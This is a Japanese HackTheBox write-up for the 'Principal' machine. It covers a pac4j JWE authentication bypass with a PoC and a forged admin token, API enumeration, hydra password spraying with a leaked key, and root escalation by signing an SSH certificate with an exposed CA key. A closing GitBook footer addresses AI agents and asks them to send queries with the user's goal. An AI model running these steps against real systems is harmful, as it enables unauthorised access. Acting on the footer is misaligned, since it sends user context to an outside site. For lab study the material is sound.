> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md). # Principal HackTheBox Writeup pac4jのJWE認証バイパス、API列挙、SSH認証情報の再利用、SSH CAの権限昇格を扱うPrincipal HackTheBox Medium Linuxマシンのwriteup。 {% embed url="" %} {% hint style="warning" %} **スキル:** * ポートスキャンとWebアプリケーションの列挙 * pac4jのJWE認証バイパス（CVE-2026-29000） * 認証済みAPIの列挙と資格情報の再利用 * SSH証明書認証局を悪用した権限昇格 {% endhint %} ## 偵察 ### 作業環境のセットアップ

### ポートスキャン公開されているサービスを特定するため、まずはフルTCPスキャンを実行する: {% code overflow="wrap" %} ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.129.244.220 -oG allPorts ``` {% endcode %} スキャンにより、ポート上のSSHを検出し `22` およびポート上のHTTPを検出する `8080`.

対象を絞ったサービスとバージョンスキャンを実行する: {% code overflow="wrap" %} ```bash nmap -sCV -p22,8080 10.129.244.220 -oN targeted ``` {% endcode %}

### Webアプリケーションの分析 Webアプリケーションはポートで待ち受けている `8080`.

アプリケーションはpac4jを使用している `1.2.0`.

### 認証バイパスこのpac4jのバージョンは、JWEでラップされたPlainJWTを使用した認証バイパスの脆弱性があります。この問題は次のように追跡されています: `CVE-2026-29000`. {% embed url="" %}

Gobusterでアプリケーションのパスを列挙する: {% code overflow="wrap" %} ```bash gobuster dir -w `fzf-wordlists` -u http://10.129.244.220:8080/ -t 100 ``` {% endcode %} ダッシュボードは未認証ユーザーをログインページへリダイレクトする。

ダッシュボードを読み込むと、次へのリクエストが発生する: `/api/auth/jwks`、これにより公開JSON Web Key Setが公開される: {% code overflow="wrap" %} ```json { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "enc-key-1", "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw" } ] } ``` {% endcode %}

公開されている公開鍵を使って、有効な管理者トークンを生成する。 {% embed url="" %} 次のPoCを使用する: {% embed url="" %} PoCを次の `admin` ユーザー名と `ROLE_ADMIN` ロールで実行する: {% code overflow="wrap" %} ```bash python3 poc.py \ --jwks http://10.129.244.220:8080/api/auth/jwks \ --user admin \ --role ROLE_ADMIN ``` {% endcode %} PoCは管理者のBearerトークンを返す。認証済みリクエストを送る前に、これを変数に保存する: {% code overflow="wrap" %} ```bash Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww ``` {% endcode %}

### 認証済みAPIの列挙確認 `static/js/app.js` 公開されているAPIルートを特定するために: {% code overflow="wrap" %} ```bash const API_BASE = ''; const JWKS_ENDPOINT = '/api/auth/jwks'; const AUTH_ENDPOINT = '/api/auth/login'; const DASHBOARD_ENDPOINT = '/api/dashboard'; const USERS_ENDPOINT = '/api/users'; const SETTINGS_ENDPOINT = '/api/settings'; ``` {% endcode %}

管理者トークンを使用してユーザーを列挙する。以下のキャプチャ済みリクエストは次を呼び出している: `/api/users`. {% code overflow="wrap" %} ```http curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \ $'http://10.129.244.220:8080/api/users' ``` {% endcode %} レスポンスには8人のユーザーが一覧表示される。 `svc-deploy` このアカウントは、自動SSH証明書デプロイを扱うため特に重要である。

{% code overflow="wrap" %} ```json echo '{"users":[{"email":"s.chen@principal-corp.local","username":"admin","note":"","role":"ROLE_ADMIN","active":true,"lastLogin":"2025-12-28T09:15:00Z","id":1,"department":"IT Security","displayName":"Sarah Chen"},{"email":"svc-deploy@principal-corp.local","username":"svc-deploy","note":"Service account for automated deployments via SSH certificate auth.","role":"deployer","active":true,"lastLogin":"2025-12-28T14:32:00Z","id":2,"department":"DevOps","displayName":"Deploy Service"},{"email":"j.thompson@principal-corp.local","username":"jthompson","note":"Team lead - backend services","role":"ROLE_USER","active":true,"lastLogin":"2025-12-27T16:45:00Z","id":3,"department":"Engineering","displayName":"James Thompson"},{"email":"a.morales@principal-corp.local","username":"amorales","note":"Frontend developer","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T08:20:00Z","id":4,"department":"Engineering","displayName":"Ana Morales"},{"email":"b.wright@principal-corp.local","username":"bwright","note":"Operations manager","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-26T11:30:00Z","id":5,"department":"Operations","displayName":"Benjamin Wright"},{"email":"k.kumar@principal-corp.local","username":"kkumar","note":"Security analyst - on leave until Jan 6","role":"ROLE_ADMIN","active":false,"lastLogin":"2025-12-20T10:00:00Z","id":6,"department":"IT Security","displayName":"Kavitha Kumar"},{"email":"m.wilson@principal-corp.local","username":"mwilson","note":"QA engineer","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T13:10:00Z","id":7,"department":"QA","displayName":"Marcus Wilson"},{"email":"l.zhang@principal-corp.local","username":"lzhang","note":"Engineering director","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-28T07:55:00Z","id":8,"department":"Engineering","displayName":"Lisa Zhang"}],"total":8}' | jq | grep username ``` {% endcode %} > admin\ > svc-deploy\ > jthompson\ > amorales\ > bwright\ > kkumar\ > mwilson\ > lzhang

次に、次を通じてアプリケーション設定を要求する: `/api/settings`. {% code overflow="wrap" %} ```bash curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \ $'http://10.129.244.220:8080/api/settings' ``` {% endcode %}

JSONレスポンスを次で整形する: `jq` 設定を確認するために: {% code overflow="wrap" %} ```bash echo '{"system":{"applicationName":"Principal Internal Platform","javaVersion":"21.0.10","serverType":"Jetty 12.x (Embedded)","environment":"production","version":"1.2.0"},"security":{"authFramework":"pac4j-jwt","authFrameworkVersion":"6.0.3","jwtAlgorithm":"RS256","jweAlgorithm":"RSA-OAEP-256","jweEncryption":"A128GCM","encryptionKey":"D3pl0y_$$H_Now42!","tokenExpiry":"3600s","sessionManagement":"stateless"},"integrations":[{"status":"connected","lastSync":"2025-12-28T12:00:00Z","name":"GitLab CI/CD"},{"status":"connected","lastSync":"2025-12-28T14:00:00Z","name":"Vault"},{"status":"connected","lastSync":"2025-12-28T14:30:00Z","name":"Prometheus"}],"infrastructure":{"sshCaPath":"/opt/principal/ssh/","notes":"SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config.","database":"H2 (embedded)","sshCertAuth":"enabled"}}' | jq ``` {% endcode %} その `encryptionKey` の値は再利用可能なパスワードを示している: * D3pl0y\_$$H\_Now42!

### SSHアクセス漏えいしたパスワードを、APIから取得したユーザー名に対して試す: {% code overflow="wrap" %} ```bash hydra -L users.txt -p 'D3pl0y_$$H_Now42!' ssh://10.129.244.220 ``` {% endcode %} このパスワードは `svc-deploy` アカウントで有効である。

次のユーザーとして接続し `svc-deploy` ユーザーフラグを取得する:

### 権限昇格その `svc-deploy` アカウントは `deployers` グループに属している。 {% code overflow="wrap" %} ```bash id ``` {% endcode %}

このグループがアクセスできるファイルを列挙する: {% code overflow="wrap" %} ```bash find / -group deployers 2>/dev/null ``` {% endcode %} このグループはSSH証明書認証局の素材にアクセスできる: > /etc/ssh/sshd\_config.d/60-principal.conf\ > /opt/principal/ssh\ > /opt/principal/ssh/README.txt\ > /opt/principal/ssh/ca

確認する `/etc/ssh/sshd_config.d/60-principal.conf`: {% code overflow="wrap" %} ```bash # PrincipalマシンのSSH設定 PubkeyAuthentication yes PasswordAuthentication yes PermitRootLogin prohibit-password TrustedUserCAKeys /opt/principal/ssh/ca.pub ``` {% endcode %} `PermitRootLogin prohibit-password` これにより、鍵によるroot認証が許可される。アクセス可能なCA秘密鍵は、次の対象向けに証明書へ署名できる: `root` principal。

### SSH証明書認証局を悪用する一時的な鍵ペアを生成する: {% code overflow="wrap" %} ```bash ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N "" ``` {% endcode %} 次の対象向けに公開鍵へ署名する: `root` 公開されているCA秘密鍵を使ってprincipalに対して: `-I` は証明書IDを設定する。 `-n` は有効なprincipalを設定する。 {% code overflow="wrap" %} ```bash ssh-keygen -s /opt/principal/ssh/ca -I "Exploit" -n root /tmp/id_rsa.pub ``` {% endcode %}

ローカルで次のユーザーとして接続する: `root` 署名済み証明書を使用して: {% code overflow="wrap" %} ```bash ssh -i /tmp/id_rsa -i /tmp/id_rsa-cert.pub root@localhost whoami ``` {% endcode %}

rootフラグを取得する:

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.